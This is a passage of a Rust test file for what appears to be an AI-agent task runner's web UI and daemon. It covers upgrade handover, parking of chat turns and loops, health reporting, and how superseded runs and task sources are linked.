20648 );
20649 let signal = std::sync::Arc::new(signal);
20651 let waiter = tokio::spawn({
20652 let signal = std::sync::Arc::clone(&signal);
20653 async move { wait_for_handover(&signal).await }
20654 });
20655 tokio::time::sleep(Duration::from_millis(20)).await;
20656 assert!(!waiter.is_finished(), "nothing was signalled yet");
20657 signal.notify_one();
20658 tokio::time::timeout(Duration::from_secs(5), waiter)
20659 .await
20660 .expect("a late signal wakes the waiter")
20661 .expect("join");
20662 }
20663
20664 #[tokio::test]
20665 async fn health_says_how_long_a_handover_has_been_stuck() {
20666 let fx = Fixture::start().await;
20667 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20668 progress.advance(crate::updater::Stage::Replaced);
20669 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
20670 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20671
20672 let health = fx.get("/api/health").await.json();
20673 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
20674 assert!(stuck >= 600, "{stuck}");
20675 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
20676 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
20677 }
20678
20679 #[tokio::test]
20680 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
20681 let home = tempfile::tempdir().expect("temp home");
20682 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20683 progress.advance(crate::updater::Stage::Parking);
20684 crate::updater::write_progress(home.path(), &progress).expect("seed");
20685 let mut again = progress.clone();
20687 again.advance(crate::updater::Stage::Replaced);
20688 crate::updater::write_progress(home.path(), &again).expect("replaced");
20689 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20690 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
20691 let after = crate::updater::read_progress(home.path()).expect("record");
20692 assert_eq!(after.stage, crate::updater::Stage::Parking);
20693 }
20694
20695 #[tokio::test]
20696 async fn health_does_not_call_a_live_parking_wait_stuck() {
20697 let fx = Fixture::start().await;
20698 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20699 progress.parked_run = Some("20260905-000000-cd51".to_owned());
20700 progress.advance(crate::updater::Stage::Parking);
20701 let hours = Duration::from_secs(3 * 3600);
20702 progress.started_at = Timestamp::now() - hours;
20703 progress.updated_at = Timestamp::now() - hours;
20704 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
20705 let _lease = crate::updater::LeaseGuard::enter(
20706 fx.home.path(),
20707 Some("20260905-000000-cd51".to_owned()),
20708 );
20709
20710 let health = fx.get("/api/health").await.json();
20711 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
20712 assert!(health["upgrade"]["stuck_kind"].is_null());
20713 assert_eq!(health["upgrade"]["handover_alive"], true);
20714 let waiting_on = health["upgrade"]["waiting_on"]
20715 .as_str()
20716 .expect("waiting_on");
20717 assert!(waiting_on.contains("cd51"), "{waiting_on}");
20718 }
20719
20720 fn idle_ui(home: &TempDir) -> Ui {
20721 let runs = home.path().join("runs");
20722 std::fs::create_dir_all(&runs).expect("runs dir");
20723 Ui::new(
20724 Queue::at(home.path().join("queue")),
20725 Questions::at(home.path().join("questions")),
20726 Talks::at(home.path().join("talks")),
20727 runs,
20728 home.path().to_path_buf(),
20729 PathBuf::from("/repo/magi"),
20730 )
20731 .with_launch(launch_idle)
20732 }
20733
20734 async fn park_fixture(
20735 home: &TempDir,
20736 ) -> (
20737 Ui,
20738 Arc<Mutex<LoopState>>,
20739 Arc<Mutex<TalkTurns>>,
20740 tokio::task::JoinHandle<std::io::Result<()>>,
20741 ) {
20742 let ui = idle_ui(home);
20743 let looping = ui.looping();
20744 let turns = ui.turns();
20745 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
20746 .await
20747 .expect("bind loopback");
20748 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
20749 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
20750 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
20751 (ui, looping, turns, served)
20752 }
20753
20754 #[tokio::test]
20758 async fn hand_over_waits_for_a_running_chat_turn() {
20759 let home = TempDir::new().expect("temp home");
20760 let (ui, looping, turns, served) = park_fixture(&home).await;
20761 let ui = Arc::new(ui);
20762 let id = "20260901-000000-chat";
20763 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20764
20765 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20766 let handover = tokio::spawn({
20767 let home = home.path().to_path_buf();
20768 let turns = Arc::clone(&turns);
20769 let calls = Arc::clone(&calls);
20770 async move {
20771 hand_over(
20772 &home,
20773 &looping,
20774 &turns,
20775 &|_: &[String]| Duration::from_secs(60),
20776 served,
20777 move |_| {
20778 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20779 Ok(1)
20780 },
20781 )
20782 .await
20783 }
20784 });
20785
20786 let waiting = async {
20787 for _ in 0..200 {
20788 if crate::updater::read_progress(home.path())
20789 .is_some_and(|p| p.parked_talks == [id.to_owned()])
20790 {
20791 return;
20792 }
20793 tokio::time::sleep(Duration::from_millis(25)).await;
20794 }
20795 panic!("the park never named the chat turn");
20796 };
20797 waiting.await;
20798 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20799
20800 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20803 assert!(
20804 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20805 "a direct start says an upgrade is in progress"
20806 );
20807 assert!(
20808 ui.begin_queued_talk_turn("20260901-000000-late")
20809 .expect("queued claim")
20810 .is_none()
20811 );
20812 assert!(matches!(
20813 ui.begin_talk_turn_unless_pending("20260901-000000-late")
20814 .expect("start"),
20815 TalkTurnStart::Busy
20816 ));
20817 assert_eq!(turns.lock().unwrap().live.len(), 1);
20818
20819 let progress = crate::updater::read_progress(home.path()).expect("progress");
20821 let view = upgrade_progress_view(&ui, progress);
20822 assert!(
20823 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
20824 "{:?}",
20825 view.waiting_on
20826 );
20827
20828 assert!(!handover.is_finished());
20829 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20830 drop(turn);
20831 handover.await.expect("join").expect("hand over");
20832 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20833 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20834 }
20835
20836 #[tokio::test]
20839 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
20840 let home = TempDir::new().expect("temp home");
20841 let (ui, looping, turns, served) = park_fixture(&home).await;
20842 let ui = Arc::new(ui);
20843 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
20845 lock_or_recover(&looping).live = Some(Live {
20846 stop: daemon::Stop::new(),
20847 handle: tokio::spawn(async move {
20848 let _ = loop_ended.await;
20849 }),
20850 opts: daemon::Opts::default(),
20851 });
20852
20853 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
20854 let handover = tokio::spawn({
20855 let home = home.path().to_path_buf();
20856 let turns = Arc::clone(&turns);
20857 let calls = Arc::clone(&calls);
20858 async move {
20859 hand_over(
20860 &home,
20861 &looping,
20862 &turns,
20863 &|_: &[String]| Duration::from_secs(60),
20864 served,
20865 move |_| {
20866 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20867 Ok(1)
20868 },
20869 )
20870 .await
20871 }
20872 });
20873
20874 let reached = async {
20875 for _ in 0..200 {
20876 if crate::updater::read_progress(home.path())
20877 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
20878 {
20879 return;
20880 }
20881 tokio::time::sleep(Duration::from_millis(25)).await;
20882 }
20883 panic!("the hand-over never reached parking");
20884 };
20885 reached.await;
20886
20887 assert!(!turns.lock().unwrap().parking);
20889 let turn = ui
20890 .begin_talk_turn("20260901-000000-chat")
20891 .expect("claim")
20892 .expect("a turn can start while the loop parks");
20893
20894 end_loop.send(()).expect("loop still waiting");
20896 for _ in 0..200 {
20897 if turns.lock().unwrap().parking {
20898 break;
20899 }
20900 tokio::time::sleep(Duration::from_millis(25)).await;
20901 }
20902 assert!(
20903 turns.lock().unwrap().parking,
20904 "closed once the loop is done"
20905 );
20906 let refused = ui.begin_talk_turn("20260901-000000-late").err();
20907 assert!(
20908 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
20909 "no turn starts once the loop is done"
20910 );
20911 assert!(
20912 ui.begin_queued_talk_turn("20260901-000000-late")
20913 .expect("queued claim")
20914 .is_none()
20915 );
20916 assert!(!handover.is_finished());
20917 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
20918
20919 drop(turn);
20920 handover.await.expect("join").expect("hand over");
20921 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20922 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
20923 }
20924
20925 #[tokio::test]
20928 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
20929 let home = TempDir::new().expect("temp home");
20930 let (ui, looping, turns, served) = park_fixture(&home).await;
20931 let id = "20260901-000000-stuk";
20932 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
20933
20934 let calls = std::sync::atomic::AtomicUsize::new(0);
20935 hand_over(
20936 home.path(),
20937 &looping,
20938 &turns,
20939 &|_: &[String]| Duration::from_millis(300),
20940 served,
20941 |_| {
20942 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
20943 Ok(1)
20944 },
20945 )
20946 .await
20947 .expect("hand over");
20948 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
20949
20950 let progress = crate::updater::read_progress(home.path()).expect("progress");
20951 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
20952 assert!(
20953 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
20954 "{:?}",
20955 progress.detail
20956 );
20957 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
20958 assert!(
20959 log.contains("handing over anyway") && log.contains(id),
20960 "{log}"
20961 );
20962 }
20963
20964 #[tokio::test]
20967 async fn drain_loop_starts_no_turn_while_parking() {
20968 let tmp = TempDir::new().expect("tempdir");
20969 let repo = tmp.path().join("repo");
20970 std::fs::create_dir_all(&repo).expect("repo dir");
20971 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
20972 let home = TempDir::new().expect("temp home");
20973 let talks = Talks::at(home.path().join("talks"));
20974 let ui = Ui::new(
20975 Queue::at(home.path().join("queue")),
20976 Questions::at(home.path().join("questions")),
20977 talks.clone(),
20978 home.path().join("runs"),
20979 home.path().to_path_buf(),
20980 repo.clone(),
20981 )
20982 .with_worktrees_root(home.path().join("wt"));
20983 let cfg = config_for(&repo).await.expect("discover config");
20984 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
20985 let id = talk.id.clone();
20986 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
20987 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
20988 let turns = ui.turns();
20989 let parking = ParkingTurns::begin(&turns);
20990
20991 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
20992
20993 assert!(
20994 turns.lock().unwrap().live.is_empty(),
20995 "the slot is given up"
20996 );
20997 let fresh = talks.get(&id).expect("talk");
20998 assert_eq!(fresh.pending, "later", "the draft is still queued");
20999 assert!(fresh.turns.is_empty(), "no turn ran");
21000 drop(parking);
21001 }
21002
21003 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
21005 let looping = ui.looping();
21006 let turns = ui.turns();
21007 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
21008 .await
21009 .expect("bind loopback");
21010 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
21011 let told = std::sync::Mutex::new(None);
21012 hand_over(
21013 home.path(),
21014 &looping,
21015 &turns,
21016 &|_: &[String]| Duration::from_secs(5),
21017 served,
21018 |resume| {
21019 *told.lock().unwrap() = Some(resume);
21020 Ok(1)
21021 },
21022 )
21023 .await
21024 .expect("hand over");
21025 told.into_inner().unwrap().expect("successor was started")
21026 }
21027
21028 #[tokio::test]
21029 async fn a_running_loop_is_resumed_by_the_successor() {
21030 let home = TempDir::new().expect("temp home");
21031 let ui = idle_ui(&home);
21032 ui.start_loop(None).expect("start");
21033 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21034 for _ in 0..500 {
21036 if !ui.loop_view(None).running {
21037 break;
21038 }
21039 tokio::time::sleep(Duration::from_millis(2)).await;
21040 }
21041 assert!(handed_over(&home, ui).await, "a running loop must resume");
21042
21043 let successor = idle_ui(&home);
21044 assert!(!successor.loop_view(None).running);
21045 assert!(successor.resume_after_handover(true));
21046 assert!(successor.loop_view(None).running);
21047 successor.stop_loop(None, false).expect("stop");
21048 }
21049
21050 #[tokio::test]
21051 async fn a_second_upgrade_request_keeps_the_resume_intent() {
21052 let home = TempDir::new().expect("temp home");
21053 let ui = idle_ui(&home);
21054 ui.start_loop(None).expect("start");
21055 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21056 .expect("first park");
21057 ui.park_for_upgrade("0.1.0", Some("0.1.1"))
21058 .expect("second park");
21059 assert!(handed_over(&home, ui).await);
21060 }
21061
21062 #[tokio::test]
21063 async fn a_stop_during_the_handover_wait_is_honoured() {
21064 let home = TempDir::new().expect("temp home");
21065 let ui = idle_ui(&home);
21066 ui.start_loop(None).expect("start");
21067 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21068 ui.stop_loop(None, false).expect("stop");
21069 assert!(!handed_over(&home, ui).await);
21070 }
21071
21072 #[tokio::test]
21073 async fn an_idle_loop_stays_stopped_across_the_handover() {
21074 let home = TempDir::new().expect("temp home");
21075 let ui = idle_ui(&home);
21076 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21077 assert!(!handed_over(&home, ui).await);
21078
21079 let successor = idle_ui(&home);
21080 assert!(!successor.resume_after_handover(false));
21081 assert!(!successor.loop_view(None).running);
21082 }
21083
21084 #[tokio::test]
21085 async fn a_loop_the_operator_stopped_is_not_resumed() {
21086 let home = TempDir::new().expect("temp home");
21087 let ui = idle_ui(&home);
21088 ui.start_loop(None).expect("start");
21089 ui.stop_loop(None, false).expect("stop");
21090 ui.park_for_upgrade("0.1.0", Some("0.1.1")).expect("park");
21091 assert!(!handed_over(&home, ui).await);
21092 }
21093
21094 #[test]
21095 fn only_an_explicit_one_requests_a_resume() {
21096 assert!(!resume_requested(None));
21097 assert!(!resume_requested(Some("0".into())));
21098 assert!(!resume_requested(Some("".into())));
21099 assert!(resume_requested(Some("1".into())));
21100 }
21101
21102 #[test]
21103 fn the_upgrade_button_arms_before_it_restarts_anything() {
21104 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
21107 assert!(APP_JS.contains("Replace the binary and restart?"));
21108 assert!(APP_JS.contains("function confirmed("));
21109 assert!(APP_JS.contains("show(upgradeBtn, canUpgrade)"));
21114 assert!(
21118 APP_JS.contains("Parking, then restarting"),
21119 "the button says what it is waiting for"
21120 );
21121 assert!(APP_JS.contains("if (!out.to)"));
21124 }
21125
21126 #[test]
21127 fn stopping_the_loop_arms_but_starting_does_not() {
21128 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
21131 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
21132 assert!(APP_JS.contains("confirmed(button, question)"));
21133 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
21136 assert!(APP_JS.contains("const label = btn.textContent;"));
21137 assert!(!APP_JS.contains("Neither direction is guarded"));
21138 }
21139
21140 #[test]
21141 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
21142 assert!(
21143 APP_JS.contains("state.health.version"),
21144 "the operator wants to know what is running even with nothing newer"
21145 );
21146 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
21147 }
21148
21149 #[test]
21150 fn the_upgrade_button_names_its_destination() {
21151 assert!(
21152 APP_JS.contains("`Update to ${update.to}`"),
21153 "pressing the button should not be a surprise about what it moves to"
21154 );
21155 }
21156
21157 #[test]
21158 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
21159 for stage in ["downloading", "replaced", "parking", "restarting"] {
21160 assert!(
21161 APP_JS.contains(&format!("\"{stage}\"")),
21162 "the phone must be able to tell {stage} apart from the others"
21163 );
21164 }
21165 assert!(APP_JS.contains(".waiting_on"));
21166 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
21171 assert!(APP_JS.contains("reconnects on its own"));
21172 }
21173
21174 #[test]
21175 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
21176 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
21177 ..APP_JS.find("function upgrade(").expect("upgrade")];
21178 assert!(!body.contains(
21179 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
21180 ));
21181 assert!(body.contains("renderUpgradeError();"));
21182 assert!(INDEX_HTML.contains("id=\"upgrade-error\""));
21183 }
21184
21185 #[test]
21186 fn an_overdue_upgrade_eventually_asks_for_a_human() {
21187 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
21190 assert!(APP_JS.contains("function upgradeOverdue("));
21191 }
21192
21193 #[test]
21194 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
21195 assert!(
21196 APP_JS.contains("Updated to ${upgradeInfo.to"),
21197 "the operator who asked for the restart wants to know it worked"
21198 );
21199 }
21200
21201 #[test]
21202 fn an_error_is_visible_from_where_the_button_is() {
21203 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
21208 ..APP_CSS.find(".alert-text").expect(".alert-text")];
21209 assert!(
21210 alert.contains("position: fixed"),
21211 "an error about the thing under your thumb has to be visible from \
21212 where your thumb is: {alert}"
21213 );
21214 assert!(
21215 alert.contains("z-index: 25"),
21216 "above the dock (20) and the run-actions FAB (15), so neither \
21217 buries it: {alert}"
21218 );
21219 assert!(
21220 alert.contains("var(--tap)"),
21221 "and clear of the dock and the home indicator: {alert}"
21222 );
21223 assert!(
21226 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
21227 "the FAB's column stays free: {alert}"
21228 );
21229 }
21230
21231 #[tokio::test]
21232 async fn an_older_attempt_says_what_replaced_it() {
21233 let fx = Fixture::start().await;
21234 let q = fx.queue();
21235 let runs = fx.runs();
21236 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21237 write_run(&runs, first, RunStatus::Stalled);
21238 write_run(&runs, second, RunStatus::Blocked);
21239
21240 let mut t = Task::new(
21241 "one task".to_owned(),
21242 "do it".to_owned(),
21243 PathBuf::from("/repo"),
21244 Source::Human,
21245 );
21246 t.runs = vec![first.to_owned(), second.to_owned()];
21247 q.put(&mut t).expect("put");
21248
21249 let rows = fx.get("/api/runs").await.json();
21253 let by = |short: &str| -> Value {
21254 rows.as_array()
21255 .unwrap()
21256 .iter()
21257 .find(|r| r["short"] == short)
21258 .cloned()
21259 .unwrap_or(Value::Null)
21260 };
21261 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
21262 assert!(
21263 by("bbbb")["superseded_by"].is_null(),
21264 "the latest attempt is not superseded by anything"
21265 );
21266 assert!(APP_JS.contains("run.superseded_by"));
21268 assert!(APP_JS.contains("Superseded by"));
21269 }
21270
21271 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
21272 let mut t = Task::new(
21273 "one task".to_owned(),
21274 "do it".to_owned(),
21275 PathBuf::from("/repo"),
21276 Source::Human,
21277 );
21278 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
21279 t.status = status;
21280 t
21281 }
21282
21283 #[test]
21284 fn source_link_picks_the_page_that_filed_the_task() {
21285 let agent = |node: &str| Source::Agent {
21286 run: "20260904-014455-ab12".to_owned(),
21287 node: node.to_owned(),
21288 };
21289 let chat = source_link(&agent("chat")).expect("chat link");
21290 assert_eq!(chat.kind, "chat");
21291 assert_eq!(chat.id, "20260904-014455-ab12");
21292 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
21293 let run = source_link(&agent("implement")).expect("run link");
21294 assert_eq!(
21295 (run.kind, run.href.as_str()),
21296 ("run", "#/runs/20260904-014455-ab12")
21297 );
21298 assert_eq!(source_link(&Source::Human), None);
21299 assert_eq!(
21300 source_link(&Source::Issue {
21301 number: 3,
21302 repo: "o/r".to_owned()
21303 }),
21304 None
21305 );
21306 let odd = source_link(&Source::Agent {
21307 run: "a b/c".to_owned(),
21308 node: "chat".to_owned(),
21309 })
21310 .expect("link");
21311 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
21312 }
21313
21314 #[test]
21315 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
21316 assert!(
21317 !APP_JS.contains("src.node === \"chat\""),
21318 "inline href rule is back"
21319 );
21320 assert!(
21321 APP_JS.matches("sourceLinkOf(").count() >= 4,
21322 "helper must serve every page"
21323 );
21324 assert!(
21325 APP_JS.matches("openChatLink(").count() >= 3,
21326 "the run page still needs its explicit chat link"
21327 );
21328 assert!(
21329 !APP_JS.contains("const openChat = el("),
21330 "the Queue card duplicates its source label link again"
21331 );
21332 assert!(
21333 APP_JS.contains("metaKids.push(link ? el(\"a\""),
21334 "the task page must link a chat source label too"
21335 );
21336 }
21337
21338 #[test]
21339 fn task_ref_carries_the_source_link_for_a_chat_task() {
21340 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21341 t.source = Source::Agent {
21342 run: "20260904-014455-ab12".to_owned(),
21343 node: "chat".to_owned(),
21344 };
21345 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
21346 let v = serde_json::to_value(&out).expect("json");
21347 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
21348 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
21349 assert_eq!(v["source_label"], t.source.label());
21350
21351 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
21352 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
21353 .expect("json");
21354 assert!(v["source_link"].is_null(), "{v}");
21355 }
21356
21357 #[test]
21358 fn task_view_serializes_source_link() {
21359 let mut t = Task::new(
21360 "t".to_owned(),
21361 "t".to_owned(),
21362 PathBuf::from("/repo"),
21363 Source::Agent {
21364 run: "20260901-000000-aaaa".to_owned(),
21365 node: "implement".to_owned(),
21366 },
21367 );
21368 t.runs.clear();
21369 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21370 assert_eq!(v["source_link"]["kind"], "run", "{v}");
21371 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
21372 }
21373
21374 #[test]
21375 fn task_view_serializes_urgent_flag() {
21376 let mut t = Task::new(
21377 "t".to_owned(),
21378 "t".to_owned(),
21379 PathBuf::from("/repo"),
21380 Source::Human,
21381 );
21382 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
21383 assert_eq!(v["urgent"], false, "{v}");
21384 t.urgent = true;
21385 let v = serde_json::to_value(TaskView::from(t)).expect("json");
21386 assert_eq!(v["urgent"], true, "{v}");
21387 assert!(APP_JS.contains("task.urgent === true"));
21388 }
21389
21390 #[tokio::test]
21391 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
21392 let fx = Fixture::start().await;
21393 let runs = fx.runs();
21394 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21395 write_run(&runs, old, RunStatus::Blocked);
21396 write_run(&runs, new, RunStatus::Merged);
21397 let mut t = outcome_task(&[old, new], TaskStatus::Done);
21398 fx.queue().put(&mut t).expect("put");
21399
21400 let view = fx.get(&format!("/api/runs/{old}")).await.json();
21401 let task = &view["task"];
21402 assert_eq!(task["status"], "done");
21403 assert_eq!(task["is_latest"], false);
21404 assert_eq!(task["latest"]["short"], "bbbb");
21405 assert_eq!(task["finished_by"]["id"], new);
21406 assert_eq!(task["finished_by"]["outcome"], "merged");
21407 assert_eq!(task["closed_by_hand"], false);
21408 assert_eq!(view["status"], "blocked", "the run keeps its own status");
21409 assert!(APP_JS.contains("finished_by"));
21410 assert!(APP_JS.contains("superseded by run"));
21411 }
21412
21413 #[tokio::test]
21414 async fn the_latest_run_reports_a_held_task_without_a_successor() {
21415 let fx = Fixture::start().await;
21416 let runs = fx.runs();
21417 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
21418 write_run(&runs, old, RunStatus::Stalled);
21419 write_run(&runs, new, RunStatus::Blocked);
21420 let mut t = outcome_task(&[old, new], TaskStatus::Held);
21421 fx.queue().put(&mut t).expect("put");
21422
21423 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
21424 assert_eq!(task["status"], "held");
21425 assert_eq!(task["is_latest"], true);
21426 assert!(task["latest"].is_null());
21427 assert!(task["finished_by"].is_null());
21428 assert_eq!(task["closed_by_hand"], false);
21429 }
21430
21431 #[tokio::test]
21432 async fn a_direct_run_has_no_task_outcome() {
21433 let fx = Fixture::start().await;
21434 let runs = fx.runs();
21435 let id = "20260901-000000-aaaa";
21436 write_run(&runs, id, RunStatus::Blocked);
21437 let view = fx.get(&format!("/api/runs/{id}")).await.json();
21438 assert!(view["task"].is_null());
21439 }
21440
21441 #[test]
21442 fn task_outcome_does_not_guess_a_finishing_run() {
21443 let a = "20260901-000000-aaaa";
21444 let b = "20260901-000000-bbbb";
21445 let c = "20260901-000000-cccc";
21446 let dir = tempfile::tempdir().expect("tempdir");
21447 write_run(dir.path(), a, RunStatus::Blocked);
21448 write_run(dir.path(), b, RunStatus::VerifiedNoop);
21449 let read = |id: &str| read_run(dir.path(), id).ok();
21451 let t = outcome_task(&[a, b, c], TaskStatus::Done);
21454 let out = task_outcome(&t, a, 3, read);
21455 assert!(out.finished_by.is_none());
21456 assert!(out.closed_by_hand);
21457 let latest = out.latest.expect("latest");
21458 assert_eq!(latest.id, c);
21459 assert_eq!(latest.status, None);
21460 assert_eq!(latest.outcome, "record unreadable");
21461
21462 write_run(dir.path(), c, RunStatus::Ready);
21464 let t = outcome_task(&[a, c], TaskStatus::Done);
21465 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
21466 assert_eq!(out.finished_by.expect("finisher").id, c);
21467 assert!(!out.closed_by_hand);
21468
21469 let t = outcome_task(&[a, b, a], TaskStatus::Held);
21471 assert!(task_outcome(&t, a, 3, read).is_latest);
21472 }
21473
21474 #[tokio::test]
21475 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
21476 let fx = Fixture::start().await;
21481 let q = fx.queue();
21482 let runs = fx.runs();
21483 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21484 write_run(&runs, first, RunStatus::Blocked);
21485 write_run(&runs, second, RunStatus::Merged);
21486
21487 let mut t = Task::new(
21488 "one task".to_owned(),
21489 "do it".to_owned(),
21490 PathBuf::from("/repo"),
21491 Source::Human,
21492 );
21493 t.runs = vec![first.to_owned(), second.to_owned()];
21494 q.put(&mut t).expect("put");
21495
21496 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21497 assert_eq!(earlier["superseded_by"], "dddd");
21498 assert_eq!(earlier["latest_attempt"]["id"], second);
21499 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21500 assert_eq!(
21501 earlier["latest_attempt"]["resolved"], true,
21502 "the run that replaced it landed, so this one reads as settled"
21503 );
21504
21505 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21506 assert!(
21507 later["superseded_by"].is_null(),
21508 "the latest attempt is not superseded by anything"
21509 );
21510 assert!(
21511 later["latest_attempt"].is_null(),
21512 "the latest attempt has no later attempt of its own"
21513 );
21514
21515 assert!(APP_JS.contains("run.latest_attempt"));
21522 assert!(APP_JS.contains("data-superseded"));
21523 assert!(APP_JS.contains("#/runs/${latest.id}"));
21524 }
21525
21526 #[tokio::test]
21527 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21528 let fx = Fixture::start().await;
21534 let q = fx.queue();
21535 let runs = fx.runs();
21536 let (a, b, c) = (
21537 "20260901-000000-aaaa",
21538 "20260901-000000-bbbb",
21539 "20260901-000000-cccc",
21540 );
21541 write_run(&runs, a, RunStatus::Blocked);
21542 write_run(&runs, b, RunStatus::Blocked);
21543 write_run(&runs, c, RunStatus::Merged);
21544
21545 let mut t = Task::new(
21546 "retried twice".to_owned(),
21547 "do it".to_owned(),
21548 PathBuf::from("/repo"),
21549 Source::Human,
21550 );
21551 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21552 q.put(&mut t).expect("put");
21553
21554 let view = fx.get(&format!("/api/runs/{a}")).await.json();
21555 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21556 assert_eq!(
21557 view["latest_attempt"]["id"], c,
21558 "the chain's current head, not the intermediate Blocked retry"
21559 );
21560 assert_eq!(view["latest_attempt"]["resolved"], true);
21561
21562 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21563 assert_eq!(mid["latest_attempt"]["id"], c);
21564 assert_eq!(mid["latest_attempt"]["resolved"], true);
21565 }
21566
21567 #[tokio::test]
21568 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21569 let fx = Fixture::start().await;
21570 let q = fx.queue();
21571 let runs = fx.runs();
21572
21573 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21576 write_run(&runs, still_blocked_a, RunStatus::Blocked);
21577 write_run(&runs, still_blocked_b, RunStatus::Blocked);
21578 let mut t1 = Task::new(
